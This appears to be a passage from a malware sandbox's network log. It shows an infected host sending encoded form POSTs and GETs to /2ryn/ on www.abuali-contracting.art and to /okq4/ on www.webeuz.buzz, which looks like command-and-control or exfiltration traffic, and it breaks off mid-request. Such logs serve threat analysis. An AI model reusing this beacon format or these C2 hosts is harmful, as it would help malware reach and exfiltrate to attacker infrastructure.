Oct 8, 2024 15:27:48.007987976 CEST	1289	IN	Data Raw: 9f 7d fe 03 ff d3 cf a1 7c 19 ad bc 0c 14 b0 4f fd 33 84 2e 4a 0f 1e 57 7b ff a3 b9 bb 8d 06 e4 1e 29 eb 4a 7b e1 0b 97 42 18 9d 8d 07 cc e7 e4 4f 5a 75 fe 69 1c ce 01 7c fc b0 80 ef 23 d7 5f fe f8 47 9f 0c b8 e5 f5 c2 3b 1e d8 8b 45 e0 3b 14 ad Data Ascii: }\|O3.JW{)J{BOZui\|#_G;E;}j#q<{#,$rL39nnJ0]{dJ*b"1YJ`>m_5<GlBHr`rC_Y0Gu

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	49810	66.198.240.15	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:50.217428923 CEST	841	OUT	POST /2ryn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/2ryn/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 4c 54 72 75 6f 37 73 37 56 64 66 47 75 45 4d 6c 72 57 59 62 30 56 56 6d 53 5a 47 36 44 49 41 76 6d 72 66 39 45 78 47 4c 57 50 63 74 54 76 43 71 4b 69 51 70 66 41 41 7a 79 79 59 7a 54 74 34 64 48 48 62 31 2f 34 36 55 70 34 71 37 45 5a 77 44 66 70 44 77 5a 57 70 6d 79 47 46 56 4b 63 72 4b 32 56 49 32 31 67 4c 72 73 76 34 69 33 4b 52 70 6d 47 77 4a 43 46 78 37 52 30 71 43 57 70 41 51 61 43 43 58 4d 47 78 4f 6a 74 50 6c 6e 75 6b 64 62 64 43 53 47 6a 52 30 43 6a 31 53 61 7a 65 53 4c 78 53 50 70 48 5a 39 57 6c 4a 32 6b 2b 64 7a 79 63 61 62 58 6c 2f 4d 32 55 6a 78 2b 54 30 66 65 45 6c 64 59 5a 46 4c 61 6d 36 6b 50 68 33 4c 44 59 6d 32 53 67 3d Data Ascii: 6v1=bLTruo7s7VdfGuEMlrWYb0VVmSZG6DIAvmrf9ExGLWPctTvCqKiQpfAAzyyYzTt4dHHb1/46Up4q7EZwDfpDwZWpmyGFVKcrK2VI21gLrsv4i3KRpmGwJCFx7R0qCWpAQaCCXMGxOjtPlnukdbdCSGjR0Cj1SazeSLxSPpHZ9WlJ2k+dzycabXl/M2Ujx+T0feEldYZFLam6kPh3LDYm2Sg=
Oct 8, 2024 15:27:50.531519890 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:27:50 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 [TRUNCATED] Data Ascii: kw Y}PH(dml,l[Hte0_;;KFDqEHDFFDFDF$2?sx-EMAxvE\|8ga[{o<yKs(1oqdn].h9pyco\|w,{oMx}6}!~{3_%Q8qy]\=^d/]O>CFN#v"b/K?q8\|v=oK]-&''c"`4Yd/?`l ?;h5<%n=Y#vL]dV_z3DQRcX<"}PPJeV$%^mI_D$X+@.@Jh$D`=Y/\}sKRM:5,+%l2WZT.h?e%/ 5yvQjQ]E,F\SbmHR"M(ZV<E)$iYZGQNZ'8)r[0)nZd>8!*
Oct 8, 2024 15:27:50.531603098 CEST	1289	IN	Data Raw: 2a ea 2a 0a fa fa a7 a5 17 78 8b f3 70 8e e6 f3 9e a5 eb 9a a8 6b 86 68 e9 2a 3c 0b c2 b3 70 70 98 1b eb 27 33 fb cc fb 6c f2 d4 73 96 1b 34 72 b9 e0 93 41 ec c9 78 b5 08 42 db 8d c1 35 89 b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 3c 36 Data Ascii: *xpkh<pp'3ls4rAxB5d,ON.i<6 ;<6}w9bPG,zGCMxgKo\vl~M~x7,X*5aXJgMC``tU<66R6RuXu{F.
Oct 8, 2024 15:27:50.531615973 CEST	1289	IN	Data Raw: 20 24 08 32 20 66 58 86 8b c1 c8 16 a6 21 ce 3c eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 d6 01 06 18 46 1f d9 a0 e6 b9 7d 0c 6f c2 9f 7b 5f 1c 2f 0f ec 91 07 12 c1 06 72 39 2d f1 39 73 1c 35 ea d9 a0 04 9d b5 14 e2 c8 39 06 81 0a 20 44 f0 c0 Data Ascii: $2 fX!<){?fF}o{_/r9-9s59 Do#_You$FArQq\{\|m<?g9J\H\q\|\|C6D4>rcyK"u?pG}z&B4\|n`n![2y\|/Aed8KGe`
Oct 8, 2024 15:27:50.531630039 CEST	1289	IN	Data Raw: f4 c4 d5 7e c4 a0 c8 8d c2 05 3f f5 71 be fd 70 12 ac a2 03 49 5f 5c 0d b9 d8 86 98 0b 63 61 c9 14 df 1e 1e 6d 06 79 46 b2 07 52 02 e0 eb 2d cd c6 7f aa 78 c4 3a 81 8c fd a8 dc 21 ea e2 ea a8 2c 86 a3 92 94 93 b1 58 16 01 ee 29 44 0a 90 79 a4 af Data Ascii: ~?qpI_\camyFR-x:!,X)DySg"EG`?yh#`<ri!_.8B ~(t*+_r=0`ZB!d+t'erOb8=Ay<`Cv31W60^W&q
Oct 8, 2024 15:27:50.531727076 CEST	1289	IN	Data Raw: 1f df 07 8f c2 16 8b 37 88 07 d7 03 b3 0d 4c 2d 1d 99 01 b4 cc a8 15 4d ba f8 26 2d ab 07 6a 9d 26 9a 49 13 04 b0 be 22 b9 6a 6f 6a af 02 e6 65 da 5e e1 e2 cc 6d 63 c3 55 f8 f2 1b f3 66 5a 47 6d 88 d6 bd f7 ce c9 de ec ed 5f c3 18 d5 32 28 95 04 Data Ascii: 7L-M&-j&I"joje^mcUfZGm_2(Sz!20-5=8F5sw-qM4tz/3!z_n7EWT!RW>@a+./*5QzIp0"$0}MIK4i7CwB9}D\\+Q
Oct 8, 2024 15:27:50.531851053 CEST	1289	IN	Data Raw: 00 51 34 9c 89 7d d4 fc 98 e7 a3 b3 c9 a1 38 92 64 75 24 99 7a 1b 14 06 1c 30 a0 4b 22 a2 d3 27 b6 b4 16 30 43 2c 1a 23 49 5f 07 2f 13 62 cd 36 8d b5 80 29 62 0b 70 2b 5a 11 3c 89 3a d8 6c 20 2d b2 c2 39 2a 06 91 ac 0c b8 9e e3 ba f0 44 30 86 2d Data Ascii: Q4}8du$z0K"'0C,#I_/b6)bp+Z<:l -9*D0-9kG8e%XK6[0,G{0G,]Z5p `;'( - )sxkla+;TAhI,O`'k:wY"P$Ehfwn1aJn<$U\|
Oct 8, 2024 15:27:50.531866074 CEST	1289	IN	Data Raw: 7a 8b f9 9c 7b 57 10 87 3b 3e ce 31 81 94 0d 53 34 5b b8 4d bd 29 58 99 55 e5 33 4b 94 6b 13 30 d9 9c 4c ca 59 4b d2 1c 9d 4d ec 03 7d 24 a9 c6 48 96 8d 91 34 e4 c4 b7 b1 f0 40 d2 b4 11 24 d3 b2 ac 0e f1 70 3b c8 54 da 9a ae 3a cf bc ed a2 87 6c Data Ascii: z{W;>1S4[M)XU3Kk0LYKM}$H4@$p;T:loeYI5/dIo]b5hFb.,FnDk2)Ew91Ru]>h>wt'#5!(/jTACTI#I\v@MPUeeXgfVX
Oct 8, 2024 15:27:50.531877041 CEST	1289	IN	Data Raw: f6 96 71 0f 0b df a8 02 50 76 56 25 65 e5 47 5c 69 63 28 27 43 6c d1 5e 9f 80 72 04 ec 68 4e ae b8 d7 74 0d 02 b6 3a 0e 30 54 17 b4 71 c9 f1 37 65 64 b4 32 a5 42 21 2b 2b 6e 76 29 34 34 84 96 de cd 84 91 2e e9 c6 05 7c 40 19 c6 4d e5 27 1e 66 ac Data Ascii: qPvV%eG\ic('Cl^rhNt:0Tq7ed2B!++nv)44.\|@M'fb'Ox\|{~\|dAAJzJ\W86]O*mYtxwt+Y%Kv~SdR&r1)w-~+~YEP-cn>aTXY"d~ijEJ(Q
Oct 8, 2024 15:27:50.531889915 CEST	1289	IN	Data Raw: e7 16 c8 fb 67 9d 5b 20 ef 91 6d 6e 81 b5 67 96 b9 05 e6 2d b2 cb 2d 5a d9 2d ab dc bd c1 fe d9 e4 36 6d 6d 93 45 6e dd 55 1b 65 8f db aa da 46 59 e3 d6 ac f4 cf 16 b7 6e a2 57 96 b8 05 f6 de d9 e1 36 ce af 57 56 b8 4d d7 f6 c9 06 b7 c0 bb 51 16 Data Ascii: g[ mng--Z-6mmEnUeFYnW6WVMQm$Y6+n+1Aln=D.{&-qKmImec8^YX}mG\|{d[[yY6=7>O$pbN$ioFvnnRlx>k@
Oct 8, 2024 15:27:50.531925917 CEST	1289	IN	Data Raw: 7a 0d b3 f8 35 77 69 aa 4d 75 15 72 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 41 e0 2b ed ee 90 0b 6f 97 fa 71 25 ef 5f 50 f2 d6 82 5a 97 50 34 64 14 5d 1e 3b 93 3b 0c 3d 8a a3 7a 96 6b b9 13 90 3f 48 5a 33 21 b5 9b 4a f0 d7 d4 6d f1 c5 cb bd c6 4a 57 Data Ascii: z5wiMurMVo"ghA+oq%_PZP4d];;=zk?HZ3!JmJWACK8hji6Uh5d[S ^(A"jd[9:h;ck,td0dd1)t:u[6Hgyj]sJFPBxNvwbQno] g
Oct 8, 2024 15:27:50.638050079 CEST	1289	IN	Data Raw: 9f 7d fe 03 ff d3 cf a1 7c 19 ad bc 0c 14 b0 4f fd 33 84 2e 4a 0f 1e 57 7b ff a3 b9 bb 8d 06 e4 1e 29 eb 4a 7b e1 0b 97 42 18 9d 8d 07 cc e7 e4 4f 5a 75 fe 69 1c ce 01 7c fc b0 80 ef 23 d7 5f fe f8 47 9f 0c b8 e5 f5 c2 3b 1e d8 8b 45 e0 3b 14 ad Data Ascii: }\|O3.JW{)J{BOZui\|#_G;E;}j#q<{#,$rL39nnJ0]{dJ*b"1YJ`>m_5<GlBHr`rC_Y0Gu

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	49811	66.198.240.15	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:52.858252048 CEST	2578	OUT	POST /2ryn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/2ryn/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 4c 54 72 75 6f 37 73 37 56 64 66 47 75 45 4d 6c 72 57 59 62 30 56 56 6d 53 5a 47 36 44 49 41 76 6d 72 66 39 45 78 47 4c 57 48 63 74 6c 7a 43 71 70 61 51 6f 66 41 41 39 53 79 5a 7a 54 74 70 64 44 54 58 31 2f 30 31 55 72 77 71 39 58 52 77 55 2b 70 44 71 4a 57 70 70 53 47 41 59 71 63 2b 4b 33 35 4d 32 31 77 4c 72 73 76 34 69 30 43 52 67 55 2b 77 50 43 46 79 7a 78 30 75 47 57 70 34 51 61 36 34 58 4e 79 50 4e 54 4e 50 6c 48 2b 6b 62 6f 6c 43 51 6d 6a 66 35 69 69 71 53 61 33 42 53 4c 63 72 50 6f 7a 7a 39 52 42 4a 31 79 2f 4b 70 67 67 57 59 6d 78 4f 4d 6e 4d 4d 32 76 2f 61 54 75 45 65 52 70 74 72 46 4b 69 52 6d 38 74 47 65 54 38 54 6b 46 67 34 5a 4d 55 74 34 54 75 30 30 65 36 4b 36 4f 6a 30 6f 2f 34 52 67 62 53 41 7a 51 5a 30 57 50 4a 67 57 39 36 31 5a 34 2b 5a 77 6c 53 4b 63 2b 39 4a 65 45 4a 4e 69 53 6d 56 4f 71 2b 58 5a 43 58 7a 76 75 35 4a 38 54 4d 74 64 67 72 74 56 6c 6f 4d 6b 6f 73 62 71 32 54 39 30 62 73 58 58 4f 74 74 44 6a 6e 32 4e 7a 49 46 6a 72 76 6c 2f 44 46 44 37 45 52 73 62 6f [TRUNCATED] Data Ascii: 6v1=bLTruo7s7VdfGuEMlrWYb0VVmSZG6DIAvmrf9ExGLWHctlzCqpaQofAA9SyZzTtpdDTX1/01Urwq9XRwU+pDqJWppSGAYqc+K35M21wLrsv4i0CRgU+wPCFyzx0uGWp4Qa64XNyPNTNPlH+kbolCQmjf5iiqSa3BSLcrPozz9RBJ1y/KpggWYmxOMnMM2v/aTuEeRptrFKiRm8tGeT8TkFg4ZMUt4Tu00e6K6Oj0o/4RgbSAzQZ0WPJgW961Z4+ZwlSKc+9JeEJNiSmVOq+XZCXzvu5J8TMtdgrtVloMkosbq2T90bsXXOttDjn2NzIFjrvl/DFD7ERsboAYwjRX2sRv5Omq9A0Mw7xkZ88/FRKD7LUVCNGMLB1M7qhEU7kno/O5cmr6wRXFGx9y5gJQn9WIGBRraXUsDU+9jg6Nc5UEpWOJrgXO2CApdFVchAYpE2f8XUrUHoR1IB8tc0w7aWv51VVWTORB8YSeGoB9VMDaN31HJoepkOF+gU6vmB+ukpuDZFYHPwTJW9mPxTKNNVkSc0vKW+nqSTt5DtHSk5UW+B9vIFgL2UUbUSpOcqDt/vtolIxhbeSjrFXIuNgGH26bS6huIUTu0fV6xb4gxRK7YvlKKlMhxQbUuaQFqHXHKuMvMf3+MFwYpLg5rWF+ri4tRWq43pC0Cf9acwKODb4hzMXbwjCWvc3lVFSdSTpo+BmKMLr0jtBPubE5wHWkyrvFb1C2jRYIR6rgp7pZhmjXIq39J6xIIeEliaCO07ph9daaXFzVhSBHgphBSw3DPWdCVlBW8pTXVr1qWMJ0e0xSxm9BWAHXZ0cNn5cGm9kpR7TeXY4khEJsL+lmMiSoql2nhVXMssHv3ghcisegQzv1kHH+oPu5paS2m4XVTqbR2S1a8yQD+BuAQon2kg2hG+hSKIXIEX1gvxcr8JvQqq1Sjof6PQupvbbFA96wu1X1wgoMr0/vc1eSOZ5BGcuYxWB1O7azv3ylfG8xNRWrZyKNEOnp [TRUNCATED]
Oct 8, 2024 15:27:52.858320951 CEST	5412	OUT	Data Raw: 66 45 37 69 39 36 47 4d 52 70 68 51 42 4e 73 2b 41 4a 53 30 55 79 6f 5a 53 61 56 47 6f 66 45 48 72 55 79 72 57 78 61 64 2f 41 70 6a 4d 78 65 30 6d 63 2b 79 35 6c 72 73 6e 51 74 39 52 30 36 44 2b 6a 38 37 54 64 67 75 62 63 4b 36 73 70 7a 67 32 69 Data Ascii: fE7i96GMRphQBNs+AJS0UyoZSaVGofEHrUyrWxad/ApjMxe0mc+y5lrsnQt9R06D+j87TdgubcK6spzg2id5IYABjOQFiD531VsNW3H7GXa3o8X78/HKZTYtoL6aHIDFC5ZnFBf7nTjBkaEAr1xB0ez8I7RAxYjQNKPrvyM0Ku1j0r5Zn7w5OqFAdU+Ftvw7Y3z4cKqlO32Wi8jzcB+Z7kQ0k5Wx/pXIrAS5+QXPh8UFJPWgRxp
Oct 8, 2024 15:27:53.178529978 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:27:52 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 [TRUNCATED] Data Ascii: kw Y}PH(dml,l[Hte0_;;KFDqEHDFFDFDF$2?sx-EMAxvE\|8ga[{o<yKs(1oqdn].h9pyco\|w,{oMx}6}!~{3_%Q8qy]\=^d/]O>CFN#v"b/K?q8\|v=oK]-&''c"`4Yd/?`l ?;h5<%n=Y#vL]dV_z3DQRcX<"}PPJeV$%^mI_D$X+@.@Jh$D`=Y/\}sKRM:5,+%l2WZT.h?e%/ 5yvQjQ]E,F\SbmHR"M(ZV<E)$iYZGQNZ'8)r[0)nZd>8!*
Oct 8, 2024 15:27:53.178559065 CEST	1289	IN	Data Raw: 2a ea 2a 0a fa fa a7 a5 17 78 8b f3 70 8e e6 f3 9e a5 eb 9a a8 6b 86 68 e9 2a 3c 0b c2 b3 70 70 98 1b eb 27 33 fb cc fb 6c f2 d4 73 96 1b 34 72 b9 e0 93 41 ec c9 78 b5 08 42 db 8d c1 35 89 b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 3c 36 Data Ascii: *xpkh<pp'3ls4rAxB5d,ON.i<6 ;<6}w9bPG,zGCMxgKo\vl~M~x7,X*5aXJgMC``tU<66R6RuXu{F.
Oct 8, 2024 15:27:53.178668976 CEST	1289	IN	Data Raw: 20 24 08 32 20 66 58 86 8b c1 c8 16 a6 21 ce 3c eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 d6 01 06 18 46 1f d9 a0 e6 b9 7d 0c 6f c2 9f 7b 5f 1c 2f 0f ec 91 07 12 c1 06 72 39 2d f1 39 73 1c 35 ea d9 a0 04 9d b5 14 e2 c8 39 06 81 0a 20 44 f0 c0 Data Ascii: $2 fX!<){?fF}o{_/r9-9s59 Do#_You$FArQq\{\|m<?g9J\H\q\|\|C6D4>rcyK"u?pG}z&B4\|n`n![2y\|/Aed8KGe`
Oct 8, 2024 15:27:53.178692102 CEST	1289	IN	Data Raw: f4 c4 d5 7e c4 a0 c8 8d c2 05 3f f5 71 be fd 70 12 ac a2 03 49 5f 5c 0d b9 d8 86 98 0b 63 61 c9 14 df 1e 1e 6d 06 79 46 b2 07 52 02 e0 eb 2d cd c6 7f aa 78 c4 3a 81 8c fd a8 dc 21 ea e2 ea a8 2c 86 a3 92 94 93 b1 58 16 01 ee 29 44 0a 90 79 a4 af Data Ascii: ~?qpI_\camyFR-x:!,X)DySg"EG`?yh#`<ri!_.8B ~(t*+_r=0`ZB!d+t'erOb8=Ay<`Cv31W60^W&q
Oct 8, 2024 15:27:53.178704023 CEST	1289	IN	Data Raw: 1f df 07 8f c2 16 8b 37 88 07 d7 03 b3 0d 4c 2d 1d 99 01 b4 cc a8 15 4d ba f8 26 2d ab 07 6a 9d 26 9a 49 13 04 b0 be 22 b9 6a 6f 6a af 02 e6 65 da 5e e1 e2 cc 6d 63 c3 55 f8 f2 1b f3 66 5a 47 6d 88 d6 bd f7 ce c9 de ec ed 5f c3 18 d5 32 28 95 04 Data Ascii: 7L-M&-j&I"joje^mcUfZGm_2(Sz!20-5=8F5sw-qM4tz/3!z_n7EWT!RW>@a+./*5QzIp0"$0}MIK4i7CwB9}D\\+Q
Oct 8, 2024 15:27:53.178740025 CEST	1289	IN	Data Raw: 00 51 34 9c 89 7d d4 fc 98 e7 a3 b3 c9 a1 38 92 64 75 24 99 7a 1b 14 06 1c 30 a0 4b 22 a2 d3 27 b6 b4 16 30 43 2c 1a 23 49 5f 07 2f 13 62 cd 36 8d b5 80 29 62 0b 70 2b 5a 11 3c 89 3a d8 6c 20 2d b2 c2 39 2a 06 91 ac 0c b8 9e e3 ba f0 44 30 86 2d Data Ascii: Q4}8du$z0K"'0C,#I_/b6)bp+Z<:l -9*D0-9kG8e%XK6[0,G{0G,]Z5p `;'( - )sxkla+;TAhI,O`'k:wY"P$Ehfwn1aJn<$U\|
Oct 8, 2024 15:27:53.178883076 CEST	1289	IN	Data Raw: 7a 8b f9 9c 7b 57 10 87 3b 3e ce 31 81 94 0d 53 34 5b b8 4d bd 29 58 99 55 e5 33 4b 94 6b 13 30 d9 9c 4c ca 59 4b d2 1c 9d 4d ec 03 7d 24 a9 c6 48 96 8d 91 34 e4 c4 b7 b1 f0 40 d2 b4 11 24 d3 b2 ac 0e f1 70 3b c8 54 da 9a ae 3a cf bc ed a2 87 6c Data Ascii: z{W;>1S4[M)XU3Kk0LYKM}$H4@$p;T:loeYI5/dIo]b5hFb.,FnDk2)Ew91Ru]>h>wt'#5!(/jTACTI#I\v@MPUeeXgfVX
Oct 8, 2024 15:27:53.178925991 CEST	1289	IN	Data Raw: f6 96 71 0f 0b df a8 02 50 76 56 25 65 e5 47 5c 69 63 28 27 43 6c d1 5e 9f 80 72 04 ec 68 4e ae b8 d7 74 0d 02 b6 3a 0e 30 54 17 b4 71 c9 f1 37 65 64 b4 32 a5 42 21 2b 2b 6e 76 29 34 34 84 96 de cd 84 91 2e e9 c6 05 7c 40 19 c6 4d e5 27 1e 66 ac Data Ascii: qPvV%eG\ic('Cl^rhNt:0Tq7ed2B!++nv)44.\|@M'fb'Ox\|{~\|dAAJzJ\W86]O*mYtxwt+Y%Kv~SdR&r1)w-~+~YEP-cn>aTXY"d~ijEJ(Q
Oct 8, 2024 15:27:53.178937912 CEST	1289	IN	Data Raw: e7 16 c8 fb 67 9d 5b 20 ef 91 6d 6e 81 b5 67 96 b9 05 e6 2d b2 cb 2d 5a d9 2d ab dc bd c1 fe d9 e4 36 6d 6d 93 45 6e dd 55 1b 65 8f db aa da 46 59 e3 d6 ac f4 cf 16 b7 6e a2 57 96 b8 05 f6 de d9 e1 36 ce af 57 56 b8 4d d7 f6 c9 06 b7 c0 bb 51 16 Data Ascii: g[ mng--Z-6mmEnUeFYnW6WVMQm$Y6+n+1Aln=D.{&-qKmImec8^YX}mG\|{d[[yY6=7>O$pbN$ioFvnnRlx>k@
Oct 8, 2024 15:27:53.178949118 CEST	1289	IN	Data Raw: 7a 0d b3 f8 35 77 69 aa 4d 75 15 72 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 41 e0 2b ed ee 90 0b 6f 97 fa 71 25 ef 5f 50 f2 d6 82 5a 97 50 34 64 14 5d 1e 3b 93 3b 0c 3d 8a a3 7a 96 6b b9 13 90 3f 48 5a 33 21 b5 9b 4a f0 d7 d4 6d f1 c5 cb bd c6 4a 57 Data Ascii: z5wiMurMVo"ghA+oq%_PZP4d];;=zk?HZ3!JmJWACK8hji6Uh5d[S ^(A"jd[9:h;ck,td0dd1)t:u[6Hgyj]sJFPBxNvwbQno] g

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	49812	66.198.240.15	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:27:55.495784044 CEST	540	OUT	GET /2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.abuali-contracting.art Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:27:55.739259958 CEST	623	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:27:55 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Location: http://abuali-contracting.art/2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	49813	75.2.103.23	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:00.865417957 CEST	788	OUT	POST /okq4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.webeuz.buzz Origin: http://www.webeuz.buzz Referer: http://www.webeuz.buzz/okq4/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 37 55 5a 6b 54 68 77 55 31 68 72 55 57 74 75 35 68 77 70 45 72 46 4a 62 32 68 4a 31 4d 77 6c 71 71 68 55 76 72 70 50 61 6e 42 69 35 52 67 6d 4c 2f 68 4c 6e 4b 56 72 6c 4d 62 76 43 57 35 4a 7a 4b 37 64 74 42 4a 6c 37 7a 4a 2f 4e 4f 32 38 51 69 32 55 5a 57 51 72 42 62 49 6a 31 53 56 59 76 6f 79 70 63 5a 6a 71 38 38 57 56 4f 33 53 64 39 56 77 41 6e 54 54 77 65 68 74 61 76 49 43 2b 51 2b 4f 34 77 45 77 57 56 44 73 74 48 77 51 49 39 62 70 6e 54 77 67 68 4f 54 78 68 6e 6c 38 65 72 44 49 4a 62 6b 55 59 52 69 2b 